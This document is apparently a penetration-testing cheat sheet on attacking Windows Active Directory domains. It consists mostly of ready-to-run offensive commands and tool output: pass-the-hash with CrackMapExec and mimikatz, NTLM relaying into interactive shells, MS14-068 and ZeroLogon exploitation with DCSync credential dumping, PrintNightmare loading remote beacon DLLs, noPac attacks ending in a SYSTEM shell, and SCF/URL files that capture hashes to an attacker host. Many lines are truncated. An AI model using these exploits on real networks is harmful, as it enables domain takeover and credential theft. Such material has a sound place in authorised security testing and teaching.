Active Directory Attacks

Summary

        - Extract hashes from ntds.dit
        - Using Mimikatz sekurlsa
        - Crack NTLM hashes with hashcat
        - NTDS Reversible Encryption
    - User Hunting
    - Password spraying
        - Kerberos pre-auth bruteforcing
        - Spray a pre-generated passwords list
        - Spray passwords against the RDP service
        - BadPwdCount attribute
    - Password in AD User comment
    - Password of Pre-Created Computer Account
    - Reading LAPS Password
    - Reading GMSA Password
    - Forging Golden GMSA
    - Kerberos Tickets
        - Dump Kerberos Tickets
        - Replay Kerberos Tickets
        - Convert Kerberos Tickets
        - Pass-the-Ticket Golden Tickets
            - Using Mimikatz
            - Using Meterpreter
            - Using a ticket on Linux
        - Pass-the-Ticket Silver Tickets
        - Pass-the-Ticket Diamond Tickets
        - Pass-the-Ticket Sapphire Tickets
    - Kerberoasting
    - KRB_AS_REP Roasting
    - CVE-2022-33679
    - Timeroasting
    - Pass-the-Hash
    - OverPass-the-Hash (pass the key)
        - Using impacket
        - Using Rubeus
    - Capturing and cracking Net-NTLMv1/NTLMv1 hashes

- Capturing and cracking Net-NTLMv2/NTLMv2 hashes
- Man-in-the-Middle attacks & relaying
  - MS08-068 NTLM reflection
  - LDAP signing not required and LDAP channel binding disabled
  - SMB Signing Disabled and IPv4
  - SMB Signing Disabled and IPv6
  - Drop the MIC
  - Ghost Potato - CVE-2019-1384
  - RemotePotato0 DCOM DCE RPC relay
  - DNS Poisonning - Relay delegation with mitm6
  - Relaying with WebDav Trick
- Active Directory Certificate Services
  - ESC1 - Misconfigured Certificate Templates
  - ESC2 - Misconfigured Certificate Templates
  - ESC3 - Misconfigured Enrollment Agent Templates
  - ESC4 - Access Control Vulnerabilities
  - ESC6 - EDITF_ATTRIBUTESUBJECTALTNAME2
  - ESC7 - Vulnerable Certificate Authority Access Control
  - ESC8 - AD CS Relay Attack
  - ESC9 - No Security Extension
  - ESC11 - Relaying NTLM to ICPR
  - Certifried CVE-2022-26923
  - Pass-The-Certificate
- UnPAC The Hash
- Shadow Credentials
- Active Directory Groups
  - Dangerous Built-in Groups Usage
  - Abusing DNS Admins Group
  - Abusing Schema Admins Group
  - Abusing Backup Operators Group
- Active Directory Federation Services
  - ADFS - Golden SAML
- Active Directory Integrated DNS
- Abusing Active Directory ACLs/ACEs
  - GenericAll

        - GenericWrite
            - GenericWrite and Remote Connection Manager
        - WriteDACL
        - WriteOwner
        - ReadLAPSPassword
        - ReadGMSAPassword
        - ForceChangePassword
    - DCOM Exploitation
        - DCOM via MMC Application Class
        - DCOM via Excel
        - DCOM via ShellExecute
    - Trust relationship between domains
    - Child Domain to Forest Compromise - SID Hijacking
    - Forest to Forest Compromise - Trust Ticket
    - Privileged Access Management (PAM) Trust
    - Kerberos Unconstrained Delegation
        - SpoolService Abuse with Unconstrained Delegation
        - MS-EFSRPC Abuse with Unconstrained Delegation
    - Kerberos Constrained Delegation
    - Kerberos Resource Based Constrained Delegation
    - Kerberos Service for User Extension
        - S4U2self - Privilege Escalation
    - Kerberos Bronze Bit Attack - CVE-2020-17049
    - PrivExchange attack
    - SCCM Deployment
    - SCCM Network Access Accounts
    - SCCM Shares
    - WSUS Deployment
    - RODC - Read Only Domain Controller
        - RODC Golden Ticket
        - RODC Key List Attack
        - RODC Computer Object
    - PXE Boot image attack
    - DSRM Credentials
    - DNS Reconnaissance

Tools

- Impacket or the Windows version
- Responder
- InveighZero
- Mimikatz
- Ranger
- AdExplorer
- CrackMapExec

```
# use the latest release, CME is now a binary packaged will all its dependenc
root@payload$ wget https://tinyurl.com/2yajgbrm/releases/download/v5.0.1dev/cr

# execute cme (smb, winrm, mssql, ...)
root@payload$ cme smb -L
root@payload$ cme smb -M name_module -o VAR=DATA
root@payload$ cme smb 192.168.1.100 -u Administrator -H 5858d47a41e40b40f294b
root@payload$ cme smb 192.168.1.100 -u Administrator -H 5858d47a41e40b40f294b
root@payload$ cme smb 192.168.1.100 -u Administrator -H ':5858d47a41e40b40f29
root@payload$ cme smb 192.168.1.100 -u Administrator -H 5858d47a41e40b40f294b
root@payload$ cme smb 192.168.1.100 -u Administrator -H 5858d47a41e40b40f294b
root@payload$ cme smb 192.168.1.100 -u Administrator -H ":5858d47a41e40b40f29
root@payload$ cme smb 192.168.1.100 -u Administrator -H ":5858d47a41e40b40f29
root@payload$ cme smb 10.10.14.0/24 -u user -p 'Password' --local-auth -M mim
root@payload$ cme mimikatz --server http --server-port 80
```

- Mitm6

```
git clone https://tinyurl.com/2c78r5xf && cd mitm6
pip install .
mitm6 -d lab.local
ntlmrelayx.py -wh 192.168.218.129 -t smb://192.168.218.128/ -i
# -wh: Server hosting WPAD file (Attacker's IP)
# -t: Target (You cannot relay credentials to the same device that you're spo
# -i: open an interactive shell
ntlmrelayx.py -t ldaps://lab.local -wh attacker-wpad --delegate-access
```

- ADRecon

```
.\ADRecon.ps1 -DomainController MYAD.net -Credential MYAD\myuser
```

- Active Directory Assessment and Privilege Escalation Script

```
powershell.exe -ExecutionPolicy Bypass ./ADAPE.ps1
```

- Ping Castle

```
pingcastle.exe --healthcheck --server <DOMAIN_CONTROLLER_IP> --user <USERNAME>
pingcastle.exe --healthcheck --server domain.local
pingcastle.exe --graph --server domain.local
pingcastle.exe --scanner scanner_name --server domain.local
available scanners are:aclcheck,antivirus,computerversion,foreignusers,laps_b
```

- Kerbrute

```
./kerbrute passwordspray -d <DOMAIN> <USERS.TXT> <PASSWORD>
```

- Rubeus

```
Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES
Rubeus.exe dump [/service:SERVICE] [/luid:LOGINID]
Rubeus.exe klist [/luid:LOGINID]
Rubeus.exe kerberoast [/spn:"blah/blah"] [/user:USER] [/domain:DOMAIN] [/dc:D
```

- AutomatedLab

```
New-LabDefinition -Name GettingStarted -DefaultVirtualizationEngine HyperV
Add-LabMachineDefinition -Name FirstServer -OperatingSystem 'Windows Server 2
```

```
Install-Lab
Show-LabDeploymentSummary
```

Kerberos Clock Synchronization

In Kerberos, time is used to ensure that tickets are valid. To achieve this, the clocks of all Kerberos clients and servers in a realm must be synchronized to within a certain tolerance. The default clock skew tolerance in Kerberos is `5 minutes`, which means that the difference in time between the clocks of any two Kerberos entities should be no more than 5 minutes.

- Detect clock skew automatically with `nmap`

```
$ nmap -sV -sC 10.10.10.10
clock-skew: mean: -1998d09h03m04s, deviation: 4h00m00s, median: -1998d11h03m0
```

- Compute yourself the difference between the clocks

```
nmap -sT 10.10.10.10 -p445 --script smb2-time -vv
```

- Fix #1: Modify your clock

```
sudo date -s "14 APR 2015 18:25:16" # Linux
net time /domain /set # Windows
```

- Fix #2: Fake your clock

```
faketime -f '+8h' date
```

Active Directory Recon

Using BloodHound

Use the correct collector

- AzureHound for Azure Active Directory
- SharpHound for local Active Directory
- RustHound for local Active Directory
- use BloodHoundAD/AzureHound (more info: Cloud - Azure Pentest)

Then import the zip/json files into the Neo4J database and query them.

```
root@payload$ apt install bloodhound

# start BloodHound and the database
root@payload$ neo4j console
# or use docker
root@payload$ docker run -p7474:7474 -p7687:7687 -e NEO4J_AUTH=neo4j/bloodhound n

root@payload$ ./bloodhound --no-sandbox
Go to http://127.0.0.1:7474, use db:bolt://localhost:7687, user:neo4J, pass:neo4j
```

You can add some custom queries like :

- Bloodhound-Custom-Queries from @hausec
- BloodHoundQueries from CompassSecurity
- BloodHound Custom Queries from Exegol - @ShutdownRepo
- Certipy BloodHound Custom Queries from ly4k

Replace the customqueries.json file located at `/home/username/.config/bloodhound/customqueries.json` or `C:\Users\USERNAME\AppData\Roaming\BloodHound\customqueries.json` .

Using PowerView

- **Get Current Domain:** `Get-NetDomain`
- **Enum Other Domains:** `Get-NetDomain -Domain <DomainName>`
- **Get Domain SID:** `Get-DomainSID`
- **Get Domain Policy:**

```
Get-DomainPolicy

#Will show us the policy configurations of the Domain about system access or
(Get-DomainPolicy)."system access"
(Get-DomainPolicy)."kerberos policy"
```

- **Get Domain Controlers:**

```
Get-NetDomainController
Get-NetDomainController -Domain <DomainName>
```

- **Enumerate Domain Users:**

```
Get-NetUser
Get-NetUser -SamAccountName <user>
Get-NetUser | select cn
Get-UserProperty

#Check last password change
Get-UserProperty -Properties pwdlastset

#Get a specific "string" on a user's attribute
Find-UserField -SearchField Description -SearchTerm "wtver"

#Enumerate user logged on a machine
Get-NetLoggedon -ComputerName <ComputerName>

#Enumerate Session Information for a machine
Get-NetSession -ComputerName <ComputerName>

#Enumerate domain machines of the current/specified domain where specific use
Find-DomainUserLocation -Domain <DomainName> | Select-Object UserName, Sessio
```

- **Enum Domain Computers:**

```
Get-NetComputer -FullData
Get-DomainGroup

#Enumerate Live machines
Get-NetComputer -Ping
```

- **Enum Groups and Group Members:**

```
Get-NetGroupMember -GroupName "<GroupName>" -Domain <DomainName>

#Enumerate the members of a specified group of the domain
Get-DomainGroup -Identity <GroupName> | Select-Object -ExpandProperty Member

#Returns all GPOs in a domain that modify local group memberships through Res
Get-DomainGPOLocalGroup | Select-Object GPODisplayName, GroupName
```

- **Enumerate Shares**

```
#Enumerate Domain Shares
Find-DomainShare

#Enumerate Domain Shares the current user has access
Find-DomainShare -CheckShareAccess
```

- **Enum Group Policies:**

```
Get-NetGPO

# Shows active Policy on specified machine
Get-NetGPO -ComputerName <Name of the PC>
Get-NetGPOGroup

#Get users that are part of a Machine's local Admin group
Find-GPOComputerAdmin -ComputerName <ComputerName>
```

- **Enum OUs:**

```
Get-NetOU -FullData
Get-NetGPO -GPOname <The GUID of the GPO>
```

- **Enum ACLs:**

```
# Returns the ACLs associated with the specified account
Get-ObjectAcl -SamAccountName <AccountName> -ResolveGUIDs
Get-ObjectAcl -ADSprefix 'CN=Administrator, CN=Users' -Verbose

#Search for interesting ACEs
Invoke-ACLScanner -ResolveGUIDs

#Check the ACLs associated with a specified path (e.g smb share)
Get-PathAcl -Path "\\Path\Of\A\Share"
```

- **Enum Domain Trust:**

```
Get-NetDomainTrust
Get-NetDomainTrust -Domain <DomainName>
```

- **Enum Forest Trust:**

```
Get-NetForestDomain
Get-NetForestDomain Forest <ForestName>

#Domains of Forest Enumeration
Get-NetForestDomain
Get-NetForestDomain Forest <ForestName>

#Map the Trust of the Forest
Get-NetForestTrust
Get-NetDomainTrust -Forest <ForestName>
```

- **User Hunting:**

```
#Finds all machines on the current domain where the current user has local adm
Find-LocalAdminAccess -Verbose

#Find local admins on all machines of the domain:
Invoke-EnumerateLocalAdmin -Verbose

#Find computers were a Domain Admin OR a specified user has a session
Invoke-UserHunter
Invoke-UserHunter -GroupName "RDPUsers"
Invoke-UserHunter -Stealth

#Confirming admin access:
Invoke-UserHunter -CheckAccess
```

:heavy_exclamation_mark: **Priv Esc to Domain Admin with User Hunting:**
I have local admin access on a machine -> A Domain Admin has a session on that machine -> I steal his token and impersonate him ->
Profit!

PowerView 3.0 Tricks

Using AD Module

- **Get Current Domain:** `Get-ADDomain`
- **Enum Other Domains:** `Get-ADDomain -Identity <Domain>`
- **Get Domain SID:** `Get-DomainSID`
- **Get Domain Controlers:**

```
Get-ADDomainController
Get-ADDomainController -Identity <DomainName>
```

- **Enumerate Domain Users:**

```
Get-ADUser -Filter * -Identity <user> -Properties *

#Get a specific "string" on a user's attribute
Get-ADUser -Filter 'Description -like "*wtver*"' -Properties Description | se
```

- **Enum Domain Computers:**

```
Get-ADComputer -Filter * -Properties *
Get-ADGroup -Filter *
```

- **Enum Domain Trust:**

```
Get-ADTrust -Filter *
Get-ADTrust -Identity <DomainName>
```

- **Enum Forest Trust:**

```
Get-ADForest
Get-ADForest -Identity <ForestName>

#Domains of Forest Enumeration
(Get-ADForest).Domains
```

- **Enum Local AppLocker Effective Policy:**

```
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
```

Other Interesting Commands

- **Find Domain Controllers**

```
nslookup domain.com
nslookup -type=srv _ldap._tcp.dc._msdcs.<domain>.com
nltest /dclist:domain.com
Get-ADDomainController -filter * | Select-Object name
```

```
gpresult /r
$Env:LOGONSERVER
echo %LOGONSERVER%
```

From CVE to SYSTEM shell on DC

> Sometimes you will find a Domain Controller without the latest patches installed, use the newest CVE to gain a SYSTEM shell on it. If you have a "normal user" shell on the DC you can also try to elevate your privileges using one of the methods listed in Windows - Privilege Escalation

MS14-068 Checksum Validation

This exploit require to know the user SID, you can use `rpcclient` to remotely get it or `wmi` if you have an access on the machine.

- RPCClient

```
rpcclient $> lookupnames john.smith
john.smith S-1-5-21-2923581646-3335815371-2872905324-1107 (User: 1)
```

- WMI

```
wmic useraccount get name,sid
Administrator  S-1-5-21-3415849876-833628785-5197346142-500
Guest          S-1-5-21-3415849876-833628785-5197346142-501
Administrator  S-1-5-21-297520375-2634728305-5197346142-500
Guest          S-1-5-21-297520375-2634728305-5197346142-501
krbtgt         S-1-5-21-297520375-2634728305-5197346142-502
lambda         S-1-5-21-297520375-2634728305-5197346142-1110
```

- Powerview

```
Convert-NameToSid high-sec-corp.localkrbtgt
S-1-5-21-2941561648-383941485-1389968811-502
```

- CrackMapExec: `crackmapexec ldap DC1.lab.local -u username -p password -k --get-sid`

```
Doc: https://tinyurl.com/29u5o4ld
```

Generate a ticket with `metasploit` or `pykek`

```
Metasploit: auxiliary/admin/kerberos/ms14_068_kerberos_checksum
   Name      Current Setting                                  Required  Description
   ----      ---------------                                  --------  -----------
   DOMAIN    LABDOMAIN.LOCAL                                  yes       The Domain
   PASSWORD  P@ssw0rd                                         yes       The Domain
   RHOSTS    10.10.10.10                                      yes       The target
   RPORT     88                                               yes       The target
   Timeout   10                                               yes       The TCP tim
   USER      lambda                                           yes       The Domain
   USER_SID  S-1-5-21-297520375-2634728305-5197346142-1106    yes       The Domain



# Alternative download: https://tinyurl.com/26tnkp5u
$ git clone https://tinyurl.com/yyhlsjdm
$ python ./ms14-068.py -u <userName>@<domainName> -s <userSid> -d <domainControle
$ python ./ms14-068.py -u darthsidious@lab.adsecurity.org -p TheEmperor99! -s S-1
$ python ./ms14-068.py -u john.smith@pwn3d.local -s S-1-5-21-2923581646-333581537
$ python ms14-068.py -u user01@metasploitable.local -d msfdc01.metasploitable.loc
-1105
  [+] Building AS-REQ for msfdc01.metasploitable.local... Done!
  [+] Sending AS-REQ to msfdc01.metasploitable.local... Done!
  [+] Receiving AS-REP from msfdc01.metasploitable.local... Done!
  [+] Parsing AS-REP from msfdc01.metasploitable.local... Done!
  [+] Building TGS-REQ for msfdc01.metasploitable.local... Done!
  [+] Sending TGS-REQ to msfdc01.metasploitable.local... Done!
  [+] Receiving TGS-REP from msfdc01.metasploitable.local... Done!
  [+] Parsing TGS-REP from msfdc01.metasploitable.local... Done!
  [+] Creating ccache file 'TGT_user01@metasploitable.local.ccache'... Done!
```

Then use `mimikatz` to load the ticket.

```
mimikatz.exe "kerberos::ptc c:\temp\TGT_darthsidious@lab.adsecurity.org.ccache"
```

Mitigations

- Ensure the DCPromo process includes a patch QA step before running DCPromo that checks for installation of KB3011780. The quick and easy way to perform this check is with PowerShell: get-hotfix 3011780

ZeroLogon

> CVE-2020-1472

White Paper from Secura : https://tinyurl.com/y5bq4aa6

Exploit steps from the white paper

1. Spoofing the client credential
2. Disabling signing and sealing
3. Spoofing a call
4. Changing a computer's AD password to null
5. From password change to domain admin
6. :warning: reset the computer's AD password in a proper way to avoid any Deny of Service

- `cve-2020-1472-exploit.py` - Python script from dirkjanm

```
  # Check (https://tinyurl.com/y2h27qku)
  proxychains python3 zerologon_tester.py DC01 172.16.1.5

$ git clone https://tinyurl.com/2759zpmk/CVE-2020-1472.git

# Activate a virtual env to install impacket
$ python3 -m venv venv
$ source venv/bin/activate
$ pip3 install .

# Exploit the CVE (https://tinyurl.com/2759zpmk/CVE-2020-1472/blob/master/cve-
proxychains python3 cve-2020-1472-exploit.py DC01 172.16.1.5

# Find the old NT hash of the DC
proxychains secretsdump.py -history -just-dc-user 'DC01$' -hashes :31d6cfe0d1
```

```
# Restore password from secretsdump
# secretsdump will automatically dump the plaintext machine password (hex enc
# when dumping the local registry secrets on the newest version
python restorepassword.py CORP/DC01@DC01.CORP.LOCAL -target-ip 172.16.1.5 -he
deactivate
```

- `nccfsas` - .NET binary for Cobalt Strike's execute-assembly

```
git clone https://tinyurl.com/2d4qq8tx
# Check
execute-assembly SharpZeroLogon.exe win-dc01.vulncorp.local

# Resetting the machine account password
execute-assembly SharpZeroLogon.exe win-dc01.vulncorp.local -reset

# Testing from a non Domain-joined machine
execute-assembly SharpZeroLogon.exe win-dc01.vulncorp.local -patch
```

```
# Now reset the password back
```

- `Mimikatz` - 2.2.0 20200917 Post-Zerologon

```
privilege::debug
# Check for the CVE
lsadump::zerologon /target:DC01.LAB.LOCAL /account:DC01$

# Exploit the CVE and set the computer account's password to ""
lsadump::zerologon /target:DC01.LAB.LOCAL /account:DC01$ /exploit

# Execute dcsync to extract some hashes
lsadump::dcsync /domain:LAB.LOCAL /dc:DC01.LAB.LOCAL /user:krbtgt /authuser:DC
lsadump::dcsync /domain:LAB.LOCAL /dc:DC01.LAB.LOCAL /user:Administrator /authl

# Pass The Hash with the extracted Domain Admin hash
sekurlsa::pth /user:Administrator /domain:LAB /rc4:HASH_NTLM_ADMIN

# Use IP address instead of FQDN to force NTLM with Windows APIs
# Reset password to Waza1234/Waza1234/Waza1234/
# https://tinyurl.com/qdf539r/blob/6191b5a8ea40bbd856942cbc1e48a86c3c505dd3/m
lsadump::postzerologon /target:10.10.10.10 /account:DC01$
```

- `CrackMapExec` - only check

```
crackmapexec smb 10.10.10.10 -u username -p password -d domain -M zerologon
```

A 2nd approach to exploit zerologon is done by relaying authentication.

This technique, found by dirkjanm, requires more prerequisites but has the advantage of having no impact on service continuity. The following prerequisites are needed:

- A domain account
- One DC running the `PrintSpooler` service
- Another DC vulnerable to zerologon
- `ntlmrelayx` - from Impacket and any tool such as `printerbug.py`

```
# Check if one DC is running the PrintSpooler service
rpcdump.py 10.10.10.10 | grep -A 6 "spoolsv"
```

```
# Setup ntlmrelay in one shell
ntlmrelayx.py -t dcsync://DC01.LAB.LOCAL -smb2support

#Trigger printerbug in 2nd shell
python3 printerbug.py 'LAB.LOCAL'/joe:Password123@10.10.10.10 10.10.10.12
```

PrintNightmare

> CVE-2021-1675 / CVE-2021-34527

The DLL will be stored in `C:\Windows\System32\spool\drivers\x64\3\`. The exploit will execute the DLL either from the local filesystem or a remote share.

Requirements:

- **Spooler Service** enabled (Mandatory)
- Server with patches < June 2021
- DC with `Pre Windows 2000 Compatibility` group
- Server with registry key `HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint\NoWarningNoElevationOnInstall` = (DWORD) 1
- Server with registry key `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA` = (DWORD) 0

Detect the vulnerability:

- Impacket - rpcdump

```
python3 ./rpcdump.py @10.0.2.10 | egrep 'MS-RPRN|MS-PAR'
Protocol: [MS-RPRN]: Print System Remote Protocol
```

- It Was All A Dream

```
git clone https://tinyurl.com/289fr2nm
cd ItWasAllADream && poetry install && poetry shell
itwasalladream -u user -p Password123 -d domain 10.10.10.10/24
docker run -it itwasalladream -u username -p Password123 -d domain 10.10.10.1
```

Payload Hosting:

- The payload can be hosted on Impacket SMB server since PR #1109:

```
python3 ./smbserver.py share /tmp/smb/
```

- Using Invoke-BuildAnonymousSMBServer (Admin rights required on host):

```
Import-Module .\Invoke-BuildAnonymousSMBServer.ps1; Invoke-BuildAnonymousSMBServe
```

- Using WebDav with SharpWebServer (Doesn't require admin rights):

```
SharpWebServer.exe port=8888 dir=c:\users\public verbose=true
```

When using WebDav instead of SMB, you must add `@[PORT]` to the hostname in the URI, e.g.: `\\172.16.1.5@8888\Downloads\beacon.dll` WebDav client **must** be activated on exploited target. By default it is not activated on Windows workstations (you have to `net start webclient`) and it's not installed on servers. Here is how to detect activated webdav:

```
cme smb -u user -p password -d domain.local -M webdav [TARGET]
```

Trigger the exploit:

- SharpNightmare

```
# require a modified Impacket: https://tinyurl.com/28ybxu9f
python3 ./CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10 '\\1
python3 ./CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10 'C:\
## LPE
SharpPrintNightmare.exe C:\addCube.dll
## RCE using existing context
SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' 'C:\Windows\System3
## RCE using runas /netonly
SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll'  'C:\Windows\System
```

- Invoke-Nightmare

```
## LPE only (PS1 + DLL)
Import-Module .\cve-2021-1675.ps1
Invoke-Nightmare # add user `adm1n`/`P@ssw0rd` in the local admin group by de
Invoke-Nightmare -DriverName "Dementor" -NewUser "d3m3nt0r" -NewPassword "Azk
Invoke-Nightmare -DLL "C:\absolute\path\to\your\bindshell.dll"
```

- Mimikatz v2.2.0-20210709+

```
## LPE
misc::printnightmare /server:DC01 /library:C:\Users\user1\Documents\mimispool
```

```
## RCE
misc::printnightmare /server:CASTLE /library:\\10.0.2.12\smb\beacon.dll /auth
```

- PrintNightmare - @outflanknl

```
PrintNightmare [target ip or hostname] [UNC path to payload Dll] [optional do
```

Debug informations

Error	Message	Debug
0x5	`rpc_s_access_denied`	Permissions on the file in the SMB share
0x525	`ERROR_NO_SUCH_USER`	The specified account does not exist.
0x180	unknown error code	Share is not SMB2

samAccountName spoofing

> During S4U2Self, the KDC will try to append a '$' to the computer name specified in the TGT, if the computer name is not found. An attacker can create a new machine account with the sAMAccountName set to a domain controller's sAMAccountName - without the '$'. For instance, suppose there is a domain controller with a sAMAccountName set to 'DC$'. An attacker would then create a machine account with the sAMAccountName set to 'DC'. The attacker can then request a TGT for the newly created machine account. After the TGT has been issued by the KDC, the attacker can rename the newly created machine account to something different, e.g. JOHNS-PC. The attacker can then perform S4U2Self and request a ST to itself as any user. Since the machine account with the sAMAccountName set to 'DC' has been renamed, the KDC will try to find the machine account by appending a '$', which will then match the domain controller. The KDC will then issue a valid ST for the domain controller.

Requirements

- MachineAccountQuota > 0

Check for exploitation

1. Check the MachineAccountQuota of the account

```
crackmapexec ldap 10.10.10.10 -u username -p 'Password123' -d 'domain.local' --kd
StandIn.exe --object ms-DS-MachineAccountQuota=*
```

1. Check if the DC is vulnerable

```
crackmapexec smb 10.10.10.10 -u '' -p '' -d domain -M nopac
```

Exploitation

1. Create a computer account

```
impacket@linux> addcomputer.py -computer-name 'ControlledComputer$' -computer-

powermad@windows> . .\Powermad.ps1
powermad@windows> $password = ConvertTo-SecureString 'ComputerPassword' -AsPl
powermad@windows> New-MachineAccount -MachineAccount "ControlledComputer" -Pa

sharpmad@windows> Sharpmad.exe MAQ -Action new -MachineAccount ControlledCompu
```

2. Clear the controlled machine account `servicePrincipalName` attribute

```
impacket@linux> addspn.py -u 'domain\user' -p 'password' -t 'ControlledComput

powershell@windows> . .\Powerview.ps1
powershell@windows> Set-DomainObject "CN=ControlledComputer,CN=Computers,DC=d
```

3. (CVE-2021-42278) Change the controlled machine account `sAMAccountName` to a Domain Controller's name without the trailing `$`

```
# https://tinyurl.com/297pz672
impacket@linux> renameMachine.py -current-name 'ControlledComputer$' -new-nam

powermad@windows> Set-MachineAccountAttribute -MachineAccount "ControlledCompu
```

4. Request a TGT for the controlled machine account

```
impacket@linux> getTGT.py -dc-ip 'DomainController.domain.local' 'domain.loca

cmd@windows> Rubeus.exe asktgt /user:"DomainController" /password:"ComputerPa
```

5. Reset the controlled machine account sAMAccountName to its old value

```
impacket@linux> renameMachine.py -current-name 'DomainController' -new-name '

powermad@windows> Set-MachineAccountAttribute -MachineAccount "ControlledCompu
```

6. (CVE-2021-42287) Request a service ticket with `S4U2self` by presenting the TGT

obtained before

```
# https://tinyurl.com/248qapdk
impacket@linux> KRB5CCNAME='DomainController.ccache' getST.py -self -impersona

cmd@windows> Rubeus.exe s4u /self /impersonateuser:"DomainAdmin" /altservice:'
```

7. DCSync: `KRB5CCNAME='DomainAdmin.ccache' secretsdump.py -just-dc-user 'krbtgt' -k -no-pass -dc-ip 'DomainController.domain.local' @'DomainController.domain.local'`

Automated exploitation:

- cube0x0/noPac - Windows

```
noPac.exe scan -domain htb.local -user user -pass 'password123'
noPac.exe -domain htb.local -user domain_user -pass 'Password123!' /dc dc.htb
noPac.exe -domain htb.local -user domain_user -pass "Password123!" /dc dc.htb
```

- Ridter/noPac - Linux

```
python noPac.py 'domain.local/user' -hashes ':31d6cfe0d16ae931b73c59d7e0c089c
```

- WazeHell/sam-the-admin

```
$ python3 sam_the_admin.py "domain/user:password" -dc-ip 10.10.10.10 -shell
[*] Selected Target dc.caltech.white
[*] Total Domain Admins 11
[*] will try to impersonat gaylene.dreddy
[*] Current ms-DS-MachineAccountQuota = 10
[*] Adding Computer Account "SAMTHEADMIN-11$"
[*] MachineAccount "SAMTHEADMIN-11$" password = EhFMT%mzmACL
[*] Successfully added machine account SAMTHEADMIN-11$ with password EhFMT%mz
[*] SAMTHEADMIN-11$ object = CN=SAMTHEADMIN-11,CN=Computers,DC=caltech,DC=whi
[*] SAMTHEADMIN-11$ sAMAccountName == dc
[*] Saving ticket in dc.ccache
[*] Resting the machine account to SAMTHEADMIN-11$
[*] Restored SAMTHEADMIN-11$ sAMAccountName to original value
[*] Using TGT from cache
[*] Impersonating gaylene.dreddy
[*]     Requesting S4U2self
[*] Saving ticket in gaylene.dreddy.ccache
[!] Launching semi-interactive shell - Careful what you execute
C:\Windows\system32>whoami
nt authority\system
```

- ly4k/Pachine

```
usage: pachine.py [-h] [-scan] [-spn SPN] [-impersonate IMPERSONATE] [-domain
              [-computer-group CN=Computers,DC=test,DC=local] [-hashes LMHASH
              [domain/]username[:password]
$ python3 pachine.py -dc-host dc.domain.local -scan 'domain.local/john:Passw0
$ python3 pachine.py -dc-host dc.domain.local -spn cifs/dc.domain.local -impe
$ export KRB5CCNAME=$PWD/administrator@domain.local.ccache
$ impacket-psexec -k -no-pass 'domain.local/administrator@dc.domain.local'
```

Mitigations:

- KB5007247 - Windows Server 2012 R2
- KB5008601 - Windows Server 2016
- KB5008602 - Windows Server 2019
- KB5007205 - Windows Server 2022
- KB5008102
- KB5008380

Open Shares

> Some shares can be accessible without authentication, explore them to find some juicy files

- ShawnDEvans/smbmap - a handy SMB enumeration tool

```
smbmap -H 10.10.10.10                # null session
smbmap -H 10.10.10.10 -R             # recursive listing
smbmap -H 10.10.10.10 -u invaliduser # guest smb session
smbmap -H 10.10.10.10 -d "DOMAIN.LOCAL" -u "USERNAME" -p "Password123*"
```

- byt3bl33d3r/pth-smbclient from path-toolkit

```
pth-smbclient -U "AD/ADMINISTRATOR%aad3b435b51404eeaad3b435b51404ee:2[...]A" /
pth-smbclient -U "AD/ADMINISTRATOR%aad3b435b51404eeaad3b435b51404ee:2[...]A" /
ls  # list files
cd  # move inside a folder
get # download files
put # replace a file
```

- SecureAuthCorp/smbclient from Impacket

```
smbclient -I 10.10.10.100 -L ACTIVE -N -U ""
        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share
        Replication     Disk
        SYSVOL          Disk      Logon server share
        Users           Disk
use Sharename # select a Sharename
cd Folder     # move inside a folder
ls            # list files
```

- smbclient - from Samba, ftp-like client to access SMB/CIFS resources on servers

```
smbclient -U username //10.0.0.1/SYSVOL
smbclient //10.0.0.1/Share

# Download a folder recursively
smb: \> mask ""
smb: \> recurse ON
smb: \> prompt OFF
smb: \> lcd '/path/to/go/'
smb: \> mget *
```

- SnaffCon/Snaffler - a tool for pentesters to help find delicious candy

```
snaffler.exe -s - snaffler.log

# Snaffle all the computers in the domain
./Snaffler.exe -d domain.local -c <DC> -s

# Snaffle specific computers
./Snaffler.exe -n computer1,computer2 -s

# Snaffle a specific directory
./Snaffler.exe -i C:\ -s
```

SCF and URL file attack against writeable share

Theses attacks can be automated with Farmer.exe and Crop.exe

```
# Farmer to receive auth
farmer.exe <port> [seconds] [output]
farmer.exe 8888 0 c:\windows\temp\test.tmp # undefinitely
farmer.exe 8888 60 # one minute

# Crop can be used to create various file types that will trigger SMB/WebDAV conn
crop.exe <output folder> <output filename> <WebDAV server> <LNK value> [options]
Crop.exe \\\\fileserver\\common mdsec.url \\\\workstation@8888\\mdsec.ico
Crop.exe \\\\fileserver\\common mdsec.library-ms \\\\workstation@8888\\mdsec
```

SCF Files

Drop the following `@something.scf` file inside a share and start listening with Responder : `responder -wrf --lm -v -I eth0`

```
[Shell]
Command=2
IconFile=\\10.10.10.10\Share\test.ico
[Taskbar]
Command=ToggleDesktop
```

Using `crackmapexec` :

```
crackmapexec smb 10.10.10.10 -u username -p password -M scuffy -o NAME=WORK SERVE
crackmapexec smb 10.10.10.10 -u username -p password -M slinky -o NAME=WORK SERVE
crackmapexec smb 10.10.10.10 -u username -p password -M slinky -o NAME=WORK SERVE
```

URL Files

This attack also works with `.url` files and `responder -I eth0 -v .`

```
[InternetShortcut]
URL=whatever
WorkingDirectory=whatever
IconFile=\\10.10.10.10\%USERNAME%.icon
IconIndex=1
```

Windows Library Files

> Windows Library Files (.library-ms)

```
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="<https://tinyurl.com/27fmkuxc">
  <name>@windows.storage.dll,-34582</name>
  <version>6</version>
  <isLibraryPinned>true</isLibraryPinned>
  <iconReference>imageres.dll,-1003</iconReference>
  <templateInfo>
    <folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
  </templateInfo>
  <searchConnectorDescriptionList>
    <searchConnectorDescription>
      <isDefaultSaveLocation>true</isDefaultSaveLocation>
      <isSupported>false</isSupported>
      <simpleLocation>
